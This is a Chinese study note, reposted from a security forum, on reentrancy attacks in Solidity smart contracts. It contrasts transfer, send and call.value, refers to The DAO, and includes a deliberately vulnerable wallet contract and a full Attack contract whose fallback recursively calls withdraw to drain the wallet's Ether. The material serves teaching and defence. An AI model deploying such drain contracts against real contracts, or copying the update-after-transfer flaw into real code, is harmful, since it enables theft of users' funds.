【智能合約系列006-重入攻擊(Reentrancy attack)】

solidity漏洞類型學習筆記(一)

以下代碼內容皆參考於RICKGRAY師傅之前的文章《以太坊智能合約安全入門瞭解一下》,在此記錄我在復現中發現的一些問題和學習記錄。

Reentrancy - 重入

首先我們先參考代碼實現一個類似公共錢包的代碼,

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

pragma solidity ^0.4.19;

 

contract IDMoney{

    address _owner;

    mapping (address => uint256) balances;

     

    function IDMoney() {

        _owner = msg.sender; //構造函數中的msg.sender只能是創建者 

    }

    function deposit() public payable {

        balances[msg.sender] += msg.value;

    }

    function withdraw(address to, uint256 amount) public payable {

        require(balances[msg.sender] >= amount); //公共錢包中調用者的餘額是否足夠

        require(this.balance >= amount); //該合約資產是否足夠

         

        to.call.value(amount*10**18)(); //此處amount單位是wei,這裏我換算成ether

        balances[msg.sender] -= amount*10**18; 

    }

    function balanceof(address to) constant returns(uint256){

        return balances[to];

    }

}

balances定義了一個下標爲[address]的公共錢包,deposit函數向錢包中調用者的位置存入相應的value值,withdraw函數檢查提幣賬戶的餘額與該合約資產是否大於參數amount,之後向to地址發送相應Ether。

 

部署成功後我們調用deposit函數向錢包中存入25ether,可在balanceof處輸入"0xca3...a733c"的地址查看錢包中該地址的餘額是否爲25*10^18wei。隨後我們將這個錢包中的餘額轉給另一個外部用戶:

此時的調用者依然是"0xca3...",拷貝第二個外部賬戶的地址"0x147..."。輸入參數"0x147...",25調用withdraw()函數,成功轉賬。

 

這裏存在着一個問題:當外部賬戶或其他合約向一個合約地址發送ether時,會執行該合約的fallback函數(當調用合約時沒有匹配到函數,也會調用沒有名字的fallback函數——The DAO)。且call.value()會將所有可用Gas給予外部調用(fallback函數),若在fallback函數中再調用withdraw函數,則會導致遞歸問題。攻擊者可以部署一個惡意遞歸的合約將公共錢包這個合約賬戶裏的Ether全部提出來。【1、call.value()提供了足夠的Gas  2、資產的修改在轉幣之後】

 

 

Solidity 中 <address>.transfer(),<address>.send() 和 <address>.gas().call.vale()() 都可以用於向某一地址發送 ether,他們的區別在於:

 <address>.transfer()

 * 當發送失敗時會 throw; 回滾狀態

 * 只會傳遞 2300 Gas 供調用,防止重入(reentrancy) 

<address>.send()

 * 當發送失敗時會返回 false 布爾值

 * 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)

<address>.gas().call.value()() 

* 當發送失敗時會返回 false 布爾值 

* 傳遞所有可用 Gas 進行調用(可通過 gas(gas_value) 進行限制),不能有效防止重入(reentrancy)

 

 

以下是rickgray師傅實現的攻擊代碼,有小修改,攻擊流程在他的博客中也有GIF。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

pragma solidity ^0.4.19;

 

contract IDMoney{

    address _owner;

    mapping (address => uint256) balances;

     

    function IDMoney() {

        _owner = msg.sender; 

    }

    function deposit() public payable {

        balances[msg.sender] += msg.value;

    }

    function withdraw(address to, uint256 amount) public payable {

        require(balances[msg.sender] >= amount);

        require(this.balance >= amount);

         

        to.call.value(amount)();

        balances[msg.sender] -= amount;

    }

    function balanceof(address to) constant returns(uint256){

        return balances[to];

    }

}

 

contract Attack {

    address owner;

    address victim;

 

    modifier ownerOnly { require(owner == msg.sender); _; }

     

    function Attack() payable { owner = msg.sender; }

     

    // 設置已部署的 IDMoney 合約實例地址

    function setVictim(address target) ownerOnly { victim = target; }

     

    // deposit Ether to IDMoney deployed

    function step1(uint256 amount) ownerOnly payable {

        if (this.balance > amount) {

            victim.call.value(amount)(bytes4(keccak256("deposit()")));

        }

    }

    // withdraw Ether from IDMoney deployed

    function step2(uint256 amount) ownerOnly {

        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);

    }

    // selfdestruct, send all balance to owner

    function stopAttack() ownerOnly {

        selfdestruct(owner);

    }

 

    function startAttack(uint256 amount) ownerOnly {

        step1(amount);

        step2(amount / 2);

    }

 

    function () payable {

        if (msg.sender == victim) {

            // 再次嘗試調用 IDMoney 的 withdraw 函數,遞歸轉幣

            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);

        }

    }

}

可能是Remix的原因我在一開始復現時就是不成功,後來查原因之後在輸入參數處加上引號即可。

 

The DAO:

第一處紅線向攻擊者賬戶轉錢,第二處withdrawRewardFor函數:

在payout中調用攻擊者_recipient,但沒有指定具體函數則調用fallback函數,在fallback函數中會再次調用splitDAO函數,實現惡意遞歸。在方框中的修改餘額代碼執行之前,就完成了偷錢操作。

轉自:https://bbs.pediy.com/thread-228422.htm

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章